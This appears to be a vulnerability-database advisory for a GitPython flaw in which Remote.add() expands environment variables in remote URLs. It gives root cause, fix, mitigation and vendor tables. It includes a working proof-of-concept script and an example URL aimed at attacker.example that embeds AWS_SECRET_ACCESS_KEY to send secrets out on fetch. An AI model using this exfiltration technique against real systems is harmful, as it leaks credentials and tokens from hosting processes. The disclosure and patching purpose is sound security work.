CVE-2026-73622 — gitpython
Fix: gitpython-developers/GitPython@8ac5a30CVE-2026-73622 is a Information Exposure vulnerability in gitpython. A fix is available for gitpython — see the affected versions and patch details below.
GitPython before 3.1.55 Environment Variable Exfiltration via Remote.add()
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-73622.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
gitpythonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.
Root Cause
Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.
git/remote.py:811, Remote.create:
url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
Git.check_unsafe_protocols(url) # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config
check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.
The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.
Steps to Reproduce
Prerequisites
- Python 3.9+
gitonPATH(for the fetch step)- GitPython 3.1.53 (installed below)
Step 1: Install GitPython 3.1.53 in a clean venv
mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53
Step 2: Write the PoC
cat > poc.py <<'PYEOF'
#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading
import git
print("gitpython version:", git.__version__)
# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL
# Local HTTP server standing in for attacker.example.
captured = []
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
captured.append(self.path)
self.send_response(404)
self.end_headers()
def log_message(self, *a):
pass
srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()
# Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port
def norm(s): # display the ephemeral listener port as a stable placeholder
return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")
print("attacker-supplied URL :", norm(attacker_url))
repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url) # public API
stored = repo.remote("evil").url
print("stored remote URL :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)
try:
remote.fetch() # transmits the expanded URL to the attacker host
except Exception:
pass # fetch fails after the request is already sent
srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)
print()
if SENTINEL in stored and over_network:
print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
print("VULNERABLE: env-var expanded into stored git-config URL")
else:
print("not reproduced")
PYEOF
Step 3: Run it
cd /tmp/gp-remote-poc && ./venv/bin/python poc.py
Expected output (the listener's ephemeral port is shown as PORT):
gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True
VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host
The ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.
Suggested Fix
Pass expand_vars=False at the remaining URL callers, matching the clone fix:
git/remote.pyRemote.create:url = Git.polish_url(url, expand_vars=False)git/objects/submodule/base.pySubmodule.add:url = Git.polish_url(url, expand_vars=False)
More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.
Cleanup
rm -rf /tmp/gp-remote-poc
Impact
Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gitpython | all versions | 3.1.55pip install --upgrade 'gitpython==3.1.55' |
Affected Products
gitpythongitpython_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gitpython to 3.1.55 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-73622 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is an Important information disclosure flaw in GitPython. It allows an attacker to exfiltrate sensitive environment variables from systems that use GitPython to create or add remote repositories from untrusted URLs. This occurs because environment variable expansion is not disabled in URL handling, leading to…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-73622 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Satellite 6.16 for RHEL 8 | foreman-0:3.12.0.23-1.el8sat | RHSA-2026:74506 |
| Red Hat Satellite 6.17 for RHEL 9 | foreman-0:3.14.0.22-1.el9sat | RHSA-2026:74505 |
| Red Hat Satellite 6.19 for RHEL 9 | python3.12-gitpython-0:3.1.59-1.el9pc | RHSA-2026:63385 |
| Red Hat Ansible Automation Platform 2.5 | ansible-automation-platform-25/controller-rhel8:1789607021 | RHSA-2026:71210 |
| Red Hat Ansible Automation Platform 2.6 | ansible-automation-platform-26/controller-rhel9:1789673739 | RHSA-2026:71179 |
| Red Hat Ansible Automation Platform 2.7 | ansible-automation-platform-27/controller-rhel9:1788918363 | RHSA-2026:67279 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9:1788315638 | RHSA-2026:65126 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-feature-server-rhel9:1792148523 | RHSA-2026:87410 |
Frequently Asked Questions
Is CVE-2026-73622 in your dependencies?
Find it across PyPI, including transitive dependencies.